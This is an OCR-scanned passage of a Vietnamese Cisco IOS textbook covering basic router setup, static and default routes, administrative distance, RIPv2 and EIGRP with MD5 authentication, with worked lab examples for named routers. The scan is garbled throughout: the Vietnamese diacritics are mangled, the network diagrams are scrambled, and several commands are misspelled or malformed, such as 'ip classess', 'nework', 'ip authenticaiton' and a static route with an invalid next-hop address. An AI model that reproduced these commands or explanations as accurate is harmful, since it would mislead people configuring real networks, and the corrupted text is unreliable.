ban cd thé s dung host name thay vi st
dung dia chi IP khi ban thuc hién telnet
hodc ping dén dia chi IP do.

Router# ping lodon Ca hai cau lénh dé thuc thi chldc nang
= nhu nhau, sau khi ban da gan dia chi IP

Router# ping 172.16.1.3 v@i mot host name.

* Cha y: Theo mac dinh thi chi sd port trong cau Iénh ip host 1a 23, hoac Telnet. Néu ban
muén Telnet d&n mdt thiét bi, thi ban cé thé thuc hién theo mét trong sé cac cach sau:
Router# london = Router# telnet lodon = Router# telnet 172.16.1.3

3.12. Cau lénh no ip domain-lookup

Router(config)# no ip domain-lookup Tat tinh nadng tu déng phan dai mot cau
Router(config)# Iénh nhap vao khong dung sang mét host

name.

3.13. Cau lénh logging synchronous

Router(config)# line console 0 Chuyén c4u hinh vao ché& dé line.
Router(config-line)# logging Bat tinh nang synchronous logging.
synchronous Nhitng théng tin hién thi trén man hinh

console s& khéng ngdt cau Iénh ma ban

dang go.

3.14. Cau lénh exec-timeout

Router(config)# line console 0 Chuyén cdu hinh vao ché db line.

Router(config-line)# exec-timeout 0 0 C&u hinh thd&i gian dé gidi han man hinh
console sé tu dong log off. Cau hinh
tham s6 0 0 (phat gidy) thi dong nghia
v3i viéc console sé khong bao gid bi log
off.
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Router(config-line)#

3.15. Luu file cdu hinh

Router# copy running-config startup-

config

Luu file cdu hinh dang chay trén RAM
(file running config) vao NVRAM.

Router# copy running-config tftp

Luu file cdu hinh dang chay trén RAM vao

mot server TFTP.

3.16. Xda file cau hinh

Router# erase startup-config

Xoda file cdu hinh dang Iuu trong NVRAM.,

3.17. Cac cau lénh Show

Router#show ?

Hién thi tdt cd cadc cau lénh show cd kha
nang thuc thi.

Router#show interfaces

Hién thi trang thai cho tat ca cac Interface.

Router#show interface serial
0/0/0

Hién thi trang thai cho mot interface da dudc
chi ra

Router#show ip interface brief

Hién thi cac thdong tin téng quat nhat cho tét
ca cac interface, bao gom trang thai va dia
chi IP da dugc gan.

Router#show controllers serial
0/0/0

Hién thi cdc théng tin vé phan cing clia mot

interface.

Router#show clock

Hién thi thdi gian d3 dugc cdu hinh trén

router.

Router#show hosts

Hién thi bang host. (Bang nay cé chlra cac
danh muc anh xa gilta mot dia chi ip v8i mot

host name).

Router#show users

Hién thi cac user dang két ndi truc ti€p vao
thiét bi.

Router#show history

Hién thi cac ciu lénh d& thuc thi trén router

dang luu trong bo dém history

Router#show flash

Hién thi thdng tin vé bd nhd Flash.

Router#show version

Hién thi cac thong tin vé I10S.

Router#show arp

Hién thi bang ARB.

Router#show protocols

Hién thj trang thai cla cac giao thirc layer 3

dd cdu hinh trén router.

Router#show startup-config

Hién thj file cdu hinh Startup dudc Iuu trong
NVRAM

Router#show running-config

Hién thi cau hinh dang chay trén RAM.
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3.18. Cac cau lénh trong ché dd cdu hinh EXEC: Cau Iénh do

Router(config)# do show running-

Cau lénh show running-config chi dugc

config thuc hién & ché dé privileged, nhung khi
dua tUr khoa do vao trudc cau lénh nay
thi ban cé thé thuc thi cau I1énh dé & ché
do Global configuration.

Router(config)# Router sé trd& vé ché dé Global

configuration sau khi cau lénh trén dugc
thuc thi.

4. Vi du: Cau hinh co ban Router

Hinh 3-1 13 sd d mang cho vi du cdu hinh router, trong vi du nay sé& biéu dién cdu hinh

cac tham s6 co ban cla router sir dung cac cau lIénh trong pham vi cua chucng nay.

Hinh 3-1

172.16.10.10 172.16.10.1

MNetwork 172.16.20.0/24

4.1 Trén Router Boston

I 1 PO s0/0/0

i = 17216201
5 e 50401 o e 172.16.30.0
= IJ',M Boston 28 oor Z_* -

Network 172.16.20.0/30

172.16.3030
fafi § ]

Metwork 172.16.30.0/24

‘—-_,.\f

Router> enable

Chuyén vao ché do Privileged.

Router# clock set 18:30:00 Juny 2008

C&u hinh thdgi gian cho router.

Router# configure terminal

Chuyén vao ché& dd Global Configuration.

Router(config)# hostname Boston

Cau hinh tén cho router la Boston.

Router(config)# no ip domain-lookup

Tat tinh ndng tu dong phan giai tén cho

cac cau lénh nhap sai.

Boston(config)# banner motd # This is
the Boston Router Authorized Access
Only #

Tao mot banner MOTD.

Boston(config)# clock timezone EST -5

Cdu hinh vlung thdi la Eastern

Standard Time

gian

Boston(config)# enable secret cisco

C4u hinh méat kh3u enable secret 13

Cisco.

Boston(config)# service password-

encryption

Thuc hién ma hoéa tat cad cac password

trén router

Boston(config)# line console 0

Vao ché do cau hinh line console.

Boston(config-line)# logging

Bat tinh ndng synchronous logging.
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synchronous

Nhitng théng tin hién thj trén man hinh
console s& khéng ngédt cdu Iénh ma ban

dang go.

Boston(config-line)# password class

C4u hinh méat kh3u cho line console 1a

Class.

Boston(config-line)# login

Cho phép router kiém tra méat kh&u khi
ngudi dung login vao router qua cdng

console.

Boston(config-line)# line aux 0

Vao ché do line aux.

Boston(config-line)# password class

C4u hinh méat khdu cho céng aux la
Class.

Boston(config-line)# login

Cho phép router kiém tra méat kh&u khi
ngudi dung login vao router qua cdng

aux.

Boston(config-line)# exit

Chuyén vé dé cdu hinh Global.

Boston(config)# no service password-

encryption

T4t tinh ndng ma hdéa méat khau.

Boston(config)# interface fasethernet
0/0

Chuyén vao ch& dd cdu hinh cla

interface fa0/0

Boston(config-if)# description
Engineering LAN

Cau hinh 18i mo ta cho Interface Fa0/0.

Boston(config-if)# ip address
172.16.10.1 255.255.255.0

Gan mot dia chi ip va Subnet mask cho

Interface fa0/0 cla router.

Boston(config-if)# no shutdown

Bat Interface.

Boston(config)# interface serial 0/0/0

Chuyén vao ch& dd cdu hinh cula

interface s0/0/0

Boston(config-if)# description Link to

Buffalo Router

Cau hinh I8i mo ta cho interface s0/0/0

cla router.

Boston(config)# ip address
172.16.20.1 255.255.255.252

Gan dia chi ip va subnet mask cho

interface s0/0/0 cla router Boston.

Boston(config-if)# clock rate 56000

Clock
S0/0/0. Ban phai chac chdn réng cap

Gan gia tri rate cho interface
DCE sé& phai dugc cdm vao Interface

s0/0/0 cua router Boston.

Boston(config-if)# no shutdown

Bat Interface.

Boston(config-if)# exit

Chuyén ra ch& dbd cdu hinh Global

Configuration.

Boston(config)# ip host buffalo
172.16.20.2

Gan mdt dia chi ip cho mot host name dé
thuc hién viéc phan dai gilra dia chi ip va

tén.
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Boston(config)# exit

Chuyén ché& dd cdu hinh vé Privileged.

Boston# copy running-config startup-

config

Luu file cdu hinh dang chay trén RAM vao
NVRAM.
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Phan III: DPINH TUYEN

Chuadng 4: Dinh tuyén tinh

Chuong 5: Giao thic dinh tuyén RIP

Chuong 6: Giao thuc dinh tuyén EIGRP

Chuang 7: OSPF don vung

Chucong 4: Pinh tuyén tinh

Chuong nay sé cung cdp cho cac ban nhitng thong tin va cac cau Iénh cé lién quan dén

nhirng chu dé sau:

- Cdu hinh Static Route trén Router.

- TU khéa permanet.

- Static route va Administrative Distance.
- Cdu hinh Default route trén Router.

- Kiém tra Static Routes

- Vi du: Static Routes.

1. Cau hinh Static route trén Router

- Khi s dung cdu Iénh ip route, ban cd thé xac dinh nci ma céc géi tin c6 thé dugc dinh

tuyén theo hai cach sau:

+ Dia chi ip cua router ti€p theo (next-hop)

+ Interface trén Router ban dang cau hinh.

- Ca hai cach nay sé& dugc hién thi trong phan « Vi du :

Defautl Router trén Routerx.

Static Routes « va « Cau hinh

Router(config)# ip route 172.16.20.0
255.255.255.0 172.16.10.2

Trong dé :

172.16.20.0 = mang dich.
255.255.255.0 =
dich.

Cac ban c6 thé& hiéu cu |énh d6 nhu sau:
PE cd thé dén dugc mang dich 1a
172.16.20.0, v@i subnet mask clla mang
doé la 255.255.255.0, thi gui tat ca dir
liéu ra 172.16.10.2.

subnet mask ciia mang

Router(config)# ip route 172.16.20.0
255.255.255.0 serial 0/0/0

Trong dé :
172.16.20.0 = mang dich.
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255.255.255.0 = subnet mask clia mang
dich.

Céc ban cd thé hiéu cdu |énh d6 nhu sau:
PE c6 thé dén dugc mang dich 1a
172.16.20.0, v@i subnet mask clla mang
dé la 255.255.255.0, thi gui tat ca dir

liéu ra ngoai interface s0/0/0.

2. T khdéa Permanent

- Néu khong co tur khdéa permanent dugc chi ra trong cau Iénh cdu hinh static route, thi
mot static route sé bi xda bo khoi bang dinh tuyén cua router néu mot interface cua router
bi down. M6t interface da bi down sé& 1a nguy&n nhan din dén mang dang két ndi truc tiép
va tat ca cac static route cé lién quan sé bi xdéa bo khoi bang dinh tuyén. Néu interface dé
hoat dong trd lai, thi cac route d6 sé dugc hoat déng trd lai nhu trudc.

- Khi thém tir khda permanent vao ciu lénh Static route thi cdc Static Route s& van dudc
luu trong bang dinh tuyén néu nhu interface bi down va nhitng mang két ndi truc ti€p vao
interface s& bi x6a bd. Ban khdng thé s dung nhitng route dé khi interface bi down nhung
nhitng route d6 van sé& con trong bang dinh tuyén. Uu diém khi cdu hinh st dung tir khoa
nay la néu interface dé hoat dong trd lai, thi cac static route dé khong can phai cau hinh lai
ma van s& dudc hoat ddng tré lai nhu binh thudng, chinh vi vay sé& tiét kiém thsi gian va
kha nang s ly cla router.

- Khi static route dugc thém vao hoac bi xdéa di, thi route dé sé& dugc router xr ly ngay &
giay dau tién. Trudc phién ban Cisco IOS 12.0, thi thdgi gian x{r ly la vao giay th 5.

- D& chi ra moét route ndo dé s& khong bi xda, khi mdt interface bi down, cac ban cé thé sur
dung tir khéa permanent vao cudi cau |énh cau hinh static route, vi du:

Router(config)# ip route 172.16.20.3 255.255.255.0 172.10.2 permanent

3. Static route va Administrative Distance (AD)

- D€ chi ra gid tri Administrative Distance (AD) bang 200 cho mét route nao dd, ban cé thé
dung cau |Iénh nhu trong vi du dugi day:

Router(config)# ip route 172.16.20.0 255.255.255.0 172.16.10.2 200

- Theo mac dinh, mot static route sé dugc gan gia tri AD la 1. AD cia m6ét route néi I1én do
tin cay cda route do, AD cang thap thi d6 tin cay cla router d6 cang I&n. AD la mot gid tri
nam trong khoang tir 0 dén 255, khi mdt route c6 gid tri AD bang 0 thi route d6 cé d6 tin
cdy 18n nh&t va bang 255 thi route d6 cé d6 tin cdy thdp nhat va route d6 s& khéng bao gid
dugc chon d€ dua vao bang dinh tuyén. MOt AD cé gid tri bdng 0 s& dudc gan cho cac
dudng két ndi truc ti€p vao mot interface cla router. Dudi ddy & danh sach cac AD clia moi

mot loai route.
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Route type AD
Két ndi truc tiép 0
Static 1
EIGRP summary route 5
Exterior BGP 20
EIGRP (internal) 90
OSPF 110
IS-IS 115
RIP 120
EGP (Exterior Gateway Protocol) 140
On-Demand Routing 160
EIGRP (External) 170
Internal BGP 200
Unknown 255

- Theo mac dinh, mét static route sé luon dugc sir dung uu tién hdn so vdi cac route cua
cac giao thlc dinh tuyén khac. Badng cach thém gia tri AD vao trong cdu lénh ip route, tuy
nhién, ban cé thé sir dung né mét cach hiéu qua hon béng cach tao ra mét route du phong
cho giao thic dinh tuyén ban dang s dung. Néu mang clua ban dang chay EIGRP, va ban
can mot route du phong, thi ban cé thé thém vao mét static route véi gia tri AD I6n han 90.
EIGRP sé dudc sir dung bdi vi gia tri AD cla cac route ciia EIGRP t6t han so vdi static route.
Né&u céac route clia EIGRP ma bi down, thi static route s& dudc s dung dé thay th&. Phuong

phap nay dudc goi la floating static route.

- Néu mot static route tham chi€u dén moét interface dang ton tai thay vi tham chi€u dén

mot dia chi next-hop, thi mang dich dé dugc coi nhu la dang két ndi truc ti€p vao interface

nay va khi dé route nay s& cé gia tri AD bang 0 thay vi bang 1.

3. C4u hinh Default Route trén Router

Router(config)# ip route 0.0.0.0
0.0.0.0 172.16.10.2

Khi router nhan dugc mot goi dir liéu ma
dich cta goi dir liéu nay khong cé trong
bang dinh tuyén thi sé gli goéi dit liéu do
ra172.16.10.2

Router(config)# ip route 0.0.0.0
0.0.0.0 Serial 0/0/0

Khi router nhan dudc moét goi dir liéu ma
dich cua goi dit liéu nay khong cé trong
bang dinh tuyén thi sé gui goi dir liéu do
ra interface s0/0/0

4. Kiém tra static route
- D& hién thj ndi dung clia bang dinh tuyén IP,

Router# show ip route

cac ban cé thé dung cau |énh sau:




5. Vi du: Cau hinh Static Routes

- Hinh 4-1 la sd d6 mang cho vi du cdu hinh Static route, cac ciu Iénh dé& ciu hinh trong vi

du nay chi ndm trong pham vi cta chugng nay.
Hinh 4-1:

MNetwork 172.16.20.0/30 MNetwork 172.16.40.0/30

P £000 S0

= 172.48.20.4 = 172.16.40.1 ==
- S0/ = S0/ =
: Bostng DCE T A, T
" o4 16.20. : 17216402 ;
00 | 17216101 - Buffal . Bang
0 | 172.18.30.4 =00 [172.46.501

ot

r

172484040

L]
y

s,

172.14830.30

S b

17248.60.50

MNetwork 172.16.10.0/24 MNetwork 172.16.30.0/24 MNetwork 172.16.50.0/24

* chd y: host name, password, va cac interface cac ban cé thé tu cdu hinh theo nhu trong

vi du clia chuong 3: “C&u hinh mot Cisco Router”.

Boston Router

Boston> enable Chuyén vao ché dd Privileged

Configuration

Boston# configure terminal Chuyén vao ché& dd cdu hinh Global

Boston(config)# ip route 172.16.30.0 Cau hinh mot static route st dung dia chi

255.255.255.0 172.16.20.2 next-hop

Boston(config)# ip route 172.16.40.0 C&u hinh mot static route sir dung dia chi
255.255.255.0 172.16.20.2 next-hop

Boston(config)# ip route 172.16.50.0 Céu hinh mot static route s dung dia chi
255.255.255.0 172.16.20.2 next-hop

Boston(config)# exit Chuyén vé ché& dd ciu hinh Privileged
Boston# copy run start Luu file cdu hinh dang chay trén RAM vao

NVRAM.

26



Buffalo Router

Buffalo> enable

Chuyén vé ché& dd c4u hinh Privileged.

Buffalo# configure terminal

Chuyén vao ché& dd cédu hinh Global

Configuration

Buffalo(config)# ip route 172.16.10.0
255.255.255.0 serial 0/0/1

C4du hinh mot static route s dung moét

interface dang ton tai.

Buffalo(config)# ip route 172.16.50.0
255.255.255.0s0/0/0

Cdu hinh mot static route s dung mét

interface dang ton tai.

Buffalo(config)# exit

Thoat ra ché do Privileged.

Buffalo# copy run start

Luu file cadu hinh dang chay trén RAM vao
NVRAM

Bangor Router

Bangor> enable

Chuyén vao ché& dd ciu hinh Privileged.

Bangor# configure terminal

Chuyén vao ché dd ciu hinh Global

Configuration.

Bangor(config)# ip route 0.0.0.0
0.0.0.0s0/0/1

Cdu hinh static route s dung default

route

Bangor# copy run start

Luu file cdu hinh dang chay trén RAM vao
NVRAM.

Chucong 5: Giao thirc dinh tuyén RIP

Chuong nay sé cung cap nhifng thong tin va cac cau Iénh can thiét cé lién quan dén nhiing

cha dé sau:

+ Cau lénh ip classess

+ Giao thdc dinh tuyén RIP: cac cau Iénh bat budc

+ Giao thdc dinh tuyén RIP: cadc cau Iénh tuy chon.

+ Xt ly 16i véi Rip.

+ Vi du: Cau hinh Ripv2.
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1. Cau Iénh ip classless

Router(config)# ip classess

Router khi nhan dugc géi dif liéu ma dich
cla goi dir lieu khong cé trong bang dinh
tuyén thi goi dir liéu dé sé dugc dinh
tuyén dén default route.

Router(config)# no ip classess

Tat tinh nang cua cau lénh ip classess

* cha y: Cau lénh ip classess dugc enable mac dinh tU phién ban Cisco IOS version 11.3

tra én.

2. Giao thuc dinh tuyén RIP: Cac cau Iénh bat budc

Router(config)# router rip

Cho phép router str dung giao thic dinh

tuyén rip.

Router(config-router)# network w.x.y.z

Trong dé w.x.y.z la mang dang két nGi
truc ti€p vao router cua ban ma ban

dang mudén quang ba.

* cha y: Ban can quang ba duy nhéat nhiing

subnet:

Router(config-router)# network 172.16.0.0

Khong phai quang ba:

Router(config-router)# network 172.16.10.0

mang day du (classful), khong phai la mot

- Néu ban quang bd mdt subnet, thi ban s& khdong nhan dugc mét théng diép bao 16i, bdi vi

router sé tu ddng chuyén subnet dé vé dia chi mang classfull.

3. Giao thic dinh tuyén RIP: Cac cau lénh tuy chon

Router(config)# no router rip

Tat giao thic dinh tuyén hoat ddng trén

router.

Router(config-router)# no network

W.X.Y.Z

Xbda bo mang w.x.y.z khdi qua trinh dinh
tuy€én cda RIP.

Router(config-router)# version 2

Giao thlc dinh tuyén dudc s dung dé

nhan va gui cac goi tin Ripv2

Router(config-router)# version 1

Giao thic dinh tuyén dugc si dung dé

nhan va gui cac goi tin Ripvl duy nhat.

Router(config-if)# ip rip send version 1

Router sé chi gui duy nhat cac goi tin

Ripvl qua interface nay.

Router(config-if)# ip rip send version 2

Router sé chi gui duy nhét cac goi tin

Ripv2 qua interface nay.

Router(config-if)# ip rip send version 1

Router sé chi gui cac géi tin Ripvl va
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Ripv2 qua interface nay.

Router(config-if)# ip rip receive

version 1

Router sé chi nhan duy nhat cac goi tin

Ripvl qua interface nay.

Router(config-if)# ip rip receive

version 2

Router sé chi nhan duy nhat cac goi tin

Ripv2 qua interface nay.

Router(config-if)# ip rip receive

version 1 2

Router sé nhan cac gdéi tin Ripvl va

Ripv2 qua interface nay.

Router(config-router)# no auto-

summary

T4t tinh ndng tu ddng téng hap dia chi
cla cac mang classful (chi cé tac dung
vGi Ripv2).

Router(config-router)# passive-
interface s0/0/0

Router sé khong gui cac thong tin dinh
tuy€n cla rip ra ngoai interface nay.

Router(config-router)# neighbor
a.b.c.d

Chi ra mét neighbor dé trao ddi thong tin

dinh tuyén

Router(config-router)# no ip split-

horizon

Tat tinh nang split horizon trén router

Router(config-router)# ip split-horizon

Enable tinh nang split horizon trén

router.

Router(config-router)# timers basic 30
90 180 270 360

Thay d6i cac tham s6 thdi gian véi RIP:
30 = thdi gian Update

90 = Thdi gian Invalid

180 = Thgi gian hold-down

270 = Thdi gian Flush

360 = Thgi gian Sleep

Router(config-router)# maximum-

paths x

Gidi han s& dudng di cho can bang tai la

X (4 1a mac dinh, con 6 sé la téi da).

Router(config-router)# default-

information orginate

Cau hinh default route trong rip.

4, XU ly 16i véi RIP

Router# debug ip rip

Hién thi tt ca cac thdng tin vé rip dang

xUr ly bdi router.

Router# show ip rip database

Hién thi ndi dung cua RIP database.

5. Vi du: C4u hinh giao thic dinh tuyén RIPv2
Hinh 5-1 la sd d6 mang cho vi du cdu hinh giao thirc dinh tuyén Ripv2. Cac thong s6 cau
hinh vé& RIPv2 trong vi du nay sé& chi s dung nhitng cidu Iénh ndm trong pham vi cua

chuang nay.
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Hinh 5-1.

Metwork 172.16.20.0/30

MNetwork 172.16.40.0/30

A, 000 01000
e T 17218201 o (T, TR o T
Cancul DCE = i ncE ' ~=
17216202 172.16.40.2
a0 | 17218101 Acapu Mazatl
172.16.30.1 o | 17218501

172.16.10.10

Network 172.16.10.0/24

1721830,

MNetwork 172.

172.16.50.50

30

16.30.0/24 Network 172.16.50.0/24

* Chu y: Host name, password, va cac interface coi nhu d& dugc cau hinh trong vi du cla

chuong 3 “Cau hinh Co ban Cisco Router”.

Cancun Router

Cancun> enable

Chuyén c&u hinh vao ché& dé Privileged

Cancun# configure terminal

Chuyén cdu hinh vao ché dé Global

Configuration.

Cancun(config)# router rip

Enable giao thirc dinh tuyén RIP.

Cancun(config-router)# version 2

Enable RIPv2

Cancun(config-router)# nework
172.16.0.0

Quang ba cac mang két néi truc ti€p vao

router

Cancun(config-router)# no auto-

summary

Tat tinh nang auto-summarization

Cancun# copy run start

Luu file cdu hinh dang chay trén RAM vao
NVRAM

Acapulco Router

Acapulco> enable

Chuyén cdu hinh vao ché dd Privileged.

Acapulco# configure terminal

Chuyén cdu hinh vao ch& dbé Global
Configuration.

Acapulco(config)# router rip

Enable giao thic dinh tuyén RIP.

Acapulco(config-router)# version 2

Enable RIPv2
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Acapulco(config-router)# network
172.16.0.0

Quang ba cac mang két néi truc ti€p vao

router

Acapulco(config-router)# no auto-

summary

Tat tinh nang auto-summarization

Acapulco# copy run start

Luu file cdu hinh dang chay trén RAM vao
NVRAM.

Mazatlan Router

Mazatlan> enable

Chuyén c&u hinh vao ché& dé Privileged.

Mazatlan# configure terminal

Chuyén cau hinh vao ché& dd Global

Configuration.

Mazatlan(config)# router rip

Enable giao thic dinh tuyén RIP.

Mazatlan(config-router)# version 2

Enable RIPv2

Mazatlan(config-router)# network
172.16.0.0

Quang ba cac mang két naéi truc ti€p vao

router

Mazatlan(config-router)# no auto-

summary

Tat tinh nang auto-summarization

Mazatlan# copy run start

Luu file cdu hinh dang chay trén RAM vao
NVRAM.

Chuodng 6: Giao thirc dinh tuyén EIGRP

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhirng chu dé

sau:

- Cau hinh Enhanced Interior Gateway Routing Protocol (EIGRP).

- EIGRP auto-summarization
- Can béng tai: variance

- S(r dung bang thong.

- Xac thuc

- Kiém tra EIGRP.

- X ly 16i v3i EIGRP.

- Vi du: cdu hinh EIGRP.

1. Cau hinh Enhanced Interior Gateway Routing Protocol (EIGRP)

Router(config)# router eigrp 100

Cho phép giao thic dinh tuyén EIGRP

chay trén router véi gid tri Autonomous
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System la 100. Giad tri AS c6 thé ndm
trong khoang tir 1 dén 65535

Tat cd cac router hoat déng trong cung
mot autonomous system sé phai cdu

hinh cung gia tri AS.

Router(config-router)# network Chi ra cac mang sé dudc quang ba bdi
10.0.0.0 giao thic dinh tuyén EIGRP.
Router(config-if)# bandwidth x C&u hinh gia tri bang thong cho Interface

la x kbps d& cho phép EIGRP tinh toan
metric cla cac dudng di
Céu Iénh bandwidth chi dugc s& dung

cho viéc tinh todn metric. N6 khong anh

hudng dén hiéu xuat hoat dong cua

interface.
Router(config-router)# no network Xdéa bdé moét mang tur tién trinh x{r ly cua
10.0.0.0 EIGRP.
Router(config)# no router eigrp 100 Disable ti€n trinh dinh tuyén cla EIGRP.
Router(config-router)# network Xac dinh cac interface hoac cac mang sé
10.0.0.0 0.255.255.255 dugc quang ba bdi EIGRP. Nhirng

interface s& phai cdu hinh dia chi IP nam

trong ddi ma cau Iénh network da

quang ba.
Router(config-router)# metric weights | Thay déi cac gid tri K mdc dinh dugc si
tos ki1 k2 k3 k4 k5 dung bdi thudt todn DUAL dé tinh todn
metric.

Cac gia tri mac dinh: tos = 0; k1 = 1; k2
=0;k3=1;k4 =0; k5 =0.

* Cha y: DE& cac router cd thé thiét 1ap dugc mébi quan hé neighbor thi cac gid tri K phai
dugc cdu hinh giéng nhau trén cac router. NEu ban khéng thuc sy hiéu vé& hé th6ng mang

cla ban, thi cdc ban khéng nén thay d6i cac gia tri K.

2. EIGRP Auto-Summarization
Router(config-router)# auto-summary Cho phép giao thic dinh tuyén EIGRP

hoat dong vdéi tinh nang auto-summary

Chu y: Theo mac dinh thi tinh nang auto-
summary c6 thé enable hodc bj disable

tuy theo tirng phién ban cta Cisco 10S.

Router(config-router)# no auto- Disable tinh nang auto-summarization.

summary
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Chu y: Cau lénh auto-summary da bi
disable theo mac dinh, b3t dau tir phién
ban Cisco I0S 12.2(8)T.

Router(config)# interface fastEthernet
0/0

Vao ché do cau hinh cua interface Fa0/0

Router(config)# ip summary-address
eigrp 100 10.10.0.0 255.255.0.0 75

Enable chlic ndng téng hop dia chi bdng
tay cho EIGRP AS 100 trén interface da

dugc chi ra. Gid tri AD (Administrative
distance) la 75 sé dudc gan cho route

summary nay.

* Cha y:

- Giao thic dinh tuyé&n EIGRP sé& tu dong téng hop dia chi cua cadc mang thanh dia chi cua
Classful. Néu mot mang dugc thiét khong tét véi nhitng subnet khong lién ké nhau thi sé
dan dé&n mot s6 van dé vé két ndi néu tinh ndng auto-summary dang hoat déng. Cho vi du,
ban c6 cac router quang ba cung mot mang 172.16.0.0/16, trong khi d6 thuc su thi cac
router dd mudén quang ba hai mang khac nhau la: 172.16.10.0/24 va 172.16.20.0/24.

- Trong qua trinh thuc hanh néu can thiét thi cdc ban nén tdt tinh ndng tu ddng téng hop
dia chi (auto-summary), s dung céu Iénh ip summary-address, va phuong phap téng
hgp bang tay.

3. Can béng tai vdi variance

Cho phép router hoat dong vdi giao thic
dinh tuyén EIGRP AS la 100

Router(config)# router eigrp 100

Chi ra nhitng mang sé dugc quang ba bdai
EIGRP.

Router(config-router)# network
10.0.0.0

Router(config-router)# variance n Router sé chon nhitng dudng di cé metric
nhd hon hodc bdng n*metric thdp nhét
cua router d6 dén mang dich. Trong do6 n
s6 dugc chi ra bgi cau

1a chi lénh

variance

* Cha y:

- Néu moét dudng di dén dich cia mét router ma khéng co Feasibel Successor, thi nd sé
khéng dugc sir dung dé€ thuc hién cd ché can bang tai.

- Giao thic dinh tuyén EIGPR hd trg can bang tai tdi da 1a 6 dudng cé cost khong béng

nhau.

4. SUr dung Bandwidth trong EIGRP

Router(config)# interface serial 0/0 Vao ché do cau hinh cua interface S0/0
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outer(config-if)# bandwidth 256

Cau hinh gia tri bandwidth cho interface
da chi ra 1a 256 kbps dé& cho phép giao
thidc EIGRP tinh toan metric.

Router(config-if)# ip bandwidth-
percent eigrp 50 100

C&u hinh ti 1& bang théng cé thé dugc sur
dung bdi EIGRP trén cac interface. Trong
do:

50 la gia tri EIGRP Autonomous system
100 la ti 1é % s dung bdgi EIGRP trén

Interface

* Cha y : Theo mac dinh, thi EIGRP s& s dung duy nhét 50% bang théng cua interface dé
trao d6i théng tin dinh tuyén. Nhitng gia tri 16n hon 100% ciing cé thé dugc ciu hinh.

5. Xac thuc

Router(config)# interface serial0/0

Vao ché do cau hinh interface S0/0

Router(config-if)# ip authentication
mode eigrp 100 md5

Cho phép thuat toan MD5 sé dugc su
dung dé& xac thuc dsi véi cac gdi tin cua

EIGRP trén cac interface.

Router(config-if)# ip authenticaiton

key-chain eigrp 100 romeo

Cho phép xac thuc cac goi tin cia EIGRP.

Romeo la tén cua key chain.

Router(config-if)# exit

Trd& vé ché d6 cdu hinh Privileged.

Router(config)# key chain romeo

Tao ra mot key chain. Tén cua key chain
do phai tuong (ng vdi tén da dugc cau

hinh trong mode interface.

Router(config-keychain)# key 1

Xac dinh chi s6 cua key.

* Chu y: Chi s& clua key c6 thé ndm
trong khoang tir 0 dén 2147483647. Chi
s6 key do6 khong can phai lién ti€p nhau.
Can phai tao it nhat mot key trong mot

key chain.

Router(config-keychain-key)# key-

string shakespare

Xac dinh key string.

* Chu y: mot key string cé thé chlra tir 1
dén 80 ky tu va trong dé bao gom ca cac
ky tu thudng, hoa, dac biét, sé.

Router(config-keychainkey)#
accept-lifetime start-time
{infinite | end-time | duration

seconds}

Tay chon nay sé chi ra khoang thgi gian
ma key sé dugc nhan.

Router(config-keychain-key)#

Tuy chon nay chi ra khoang thai gian ma
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sendlifetime key sé dugc guri.

start-time {infinite | endtime

| duration seconds}

* Chu y: Thdi gian khdi tao va thgi gian két thuc phai tuong 'ng gilta cac router, vi vay
dam bdo rang cac router phai sif dung cung cac tham s& vé thdi gian. Trong qua trinh thuc

hanh, cac ban nén s dung giao thic Network Time Protocol (NTP) hodc mot s6 phuang

thic déng bo thai gian khac.

6. Kiém tra EIGRP

Router# show ip eigrp neighbors

Hién thi bang neighbor

Router# show ip eigrp neighbors
detail

Hién thi chi tiét bang neighbor.

Router# show ip eigrp interface serial
0/0

Hién thi thong tin vé cac interface dang
chay giao thic dinh tuyén EIGRP véi AS
100

Router# show ip eigrp topology

Hién thi bang topology

Router# show ip eigrp traffi

Hién thi s6 lugng goi tin va cac loai goi
tin da dudc nhan va gui.

Router# show ip route eigrp

Hién thi bang dinh tuyén voi cac route xur
ly b&i EIGRP

7. XU ly 16i v8i EIGRP

Router# debug eigrp fsm

Hién thi cac su kién va hoat ddng cé lién
quan dén EIGRP feasible successor
metrics (FSM)

Router# debug eigrp packet

Hién thi cac su kién va cac hoat ddng cé

lién quan dén cac goi tin cla EIGRP

Router# debug eigrp neighbor

Hién thi cac su kién va cac hoat ddng cé

lién quan dén EIGRP neighbors

Router# debug ip eigrp notifications

Hién thi cac su kién canh bao cua EIGRP

8. Vi du

- Hinh 6-1 la s6 d6 két ndi mang cho vi du cau hinh giao thdc dinh tuyén EIGRP trén cac

router.
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Hinh 6-1

a0V
—_— 172.16.20.1/24

Uil 2
Aust

fa0A

17246.10.1/24

EIGRP Routing with
MD5 Authentication
Between Routers

17216101024

s04 \'f
172.16.20.2124 | o= —— Corporate
pce “Hou Network
faovt
172.16.30.1/24

172.16.30.30/24

Router Austin

Austin>enable

Chuyén céu hinh vao ché dé Privileged

Austin#configure terminal

Chuyén cdu hinh vao ch& dbé Global

configuration

Austin(config)#interface serial 0/0

Vao ché do cau hinh cua interface S0/0

Austin(config-if)#ip address
172.16.20.1 255.255.255.0

Gan dia chi IP va subnetmask cho

interface

Austin(config-if)#ip authentication

mode eigrp 100 md5

Cho phép thuat toan MD5 dugc st dung
dé xac thuc cac gdi tin EIGRP

Austin(config-if)#ip authentication

key-chain eigrp 100 susannah

Cho phép thuat toan MD5 dugc sur dung
dé xac thuc cadc goéi tin EIGRP, vdi
susanah la tén cta key chain.

Austin(config-if)#no shutdown

Enable Interface.

Austin(config-if)#interface
fastethernet 0/1

Vao ché do cau hinh cda interface fa0/1

Austin(config-if)#ip address
172.16.10.1 255.255.255.0

Gan dia chi

interface

ip va subnetmask cho

Austin(config-if)#no shutdown

Enable Interface

Austin(config-if)#router eigrp 100

Enable giao thiic dinh tuyén EIGRP hoat

dong trén router

Austin(config-router)#no auto-

summary

Disable tinh nang tu déng tdng hop dia
chi IP

Austin(config-router)#eigrp
logneighbor-
Changes

Hién thi nhitng thay d6i cia neighbors

Austin(config-router)#network
172.16.0.0

Quang ba cac mang dang két ndi truc

ti€p vao céac interface cla router
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Austin(config-router)#key chain

Susannah

Tao moét key chain, key chain nay phai
gidng vdi tén cua key chain & trong mode

interface

Austin(config-keychain)#key 1

Xac dinh chi s6 cia mot key

Austin(config-keychain-key)+#keystring

Tower

Xac dinh key string

Austin(config-keychain-
key)#acceptlifetime
06:30:00 Apr 19 2007 infinite

Chi ra khoang thd&i gian ma key cé thé
dudgc nhan.

Austin(config-keychain-
key)#sendlifetime

06:30:00 Apr 19 2007 09:45:00
Apr 19 2007

